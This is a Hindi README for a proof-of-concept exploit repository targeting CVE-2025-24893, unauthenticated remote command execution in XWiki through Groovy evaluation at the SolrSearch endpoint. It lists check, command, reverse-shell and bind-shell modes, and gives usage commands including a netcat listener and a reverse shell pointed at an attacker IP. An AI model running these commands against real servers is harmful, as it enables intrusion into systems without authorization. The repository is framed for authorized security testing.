breakingrohit/cve-2025-24893-pocCVE-2025-24893 के लिए अवधारणा का प्रमाण जो XWiki में असुरक्षित सर्वर-साइड टेम्पलेट मूल्यांकन के माध्यम से अप्रमाणित दूरस्थ कमांड निष्पादन प्रदर्शित करता है।
यह रिपॉजिटरी CVE-2025-24893 के लिए एक नियंत्रित प्रूफ ऑफ कॉन्सेप्ट (PoC) प्रदान करती है, जो XWiki को प्रभावित करने वाली एक अप्रमाणित रिमोट कमांड निष्पादन (RCE) कमजोरी है।
यह कमजोरी हमलावर को सर्वर पर मनमानी ऑपरेटिंग सिस्टम कमांड निष्पादित करने की अनुमति देती है, क्योंकि सर्वर-साइड टेम्पलेट और स्क्रिप्ट का असुरक्षित मूल्यांकन होता है।
XWiki एक ओपन-सोर्स एंटरप्राइज़ विकी प्लेटफ़ॉर्म है जिसका उपयोग आमतौर पर निम्नलिखित के लिए किया जाता है:
चूँकि XWiki को अक्सर इंटरनेट-फेसिंग सर्वर पर तैनात किया जाता है, इसलिए इसके अनुरोध हैंडलिंग और स्क्रिप्टिंग लॉजिक में सुरक्षा कमजोरियों का वास्तविक दुनिया में उच्च प्रभाव हो सकता है।
SolrSearch एंडपॉइंट को भेजे गए उपयोगकर्ता-नियंत्रित इनपुट को Groovy स्क्रिप्टिंग इंजन द्वारा अनुचित रूप से मान्य और मूल्यांकित किया गया था।
इससे हमलावर द्वारा प्रदान किए गए इनपुट को निष्पादन योग्य सर्वर-साइड कोड के रूप में व्याख्यायित किया जा सकता था, जिसके परिणामस्वरूप होस्ट सिस्टम पर कमांड निष्पादन हुआ।
यह PoC निम्नलिखित का प्रदर्शन करता है:
कमजोरी का पता लगाने का मोड एक निर्दोष सर्वर-साइड एक्सप्रेशन निष्पादित करके सुरक्षित रूप से पुष्टि करता है कि लक्ष्य उदाहरण कमजोर है या नहीं।
रिमोट कमांड निष्पादन लक्ष्य प्रणाली पर मनमानी कमांड निष्पादन का प्रदर्शन करता है।
रिवर्स शेल निष्पादन लक्ष्य से परीक्षक के लिए एक आउटबाउंड शेल कनेक्शन स्थापित करता है।
बाइंड शेल (वैकल्पिक) लक्ष्य होस्ट पर एक सुनने वाला शेल खोलता है (रिवर्स शेल से कम विश्वसनीय)।
python3 xwiki_cve_2025_24893.py http://target:8080 -m check
nc -lvnp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m reverse -lh <attacker_ip> -lp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m bind -lp 4444
SolrSearch एंडपॉइंट पर भेजा जाता हैयह प्रोजेक्ट केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।
स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इस कोड का कोई भी अनधिकृत उपयोग निषिद्ध है।
यह रिपॉजिटरी निम्नलिखित प्रदर्शित करने के लिए बनाई गई थी: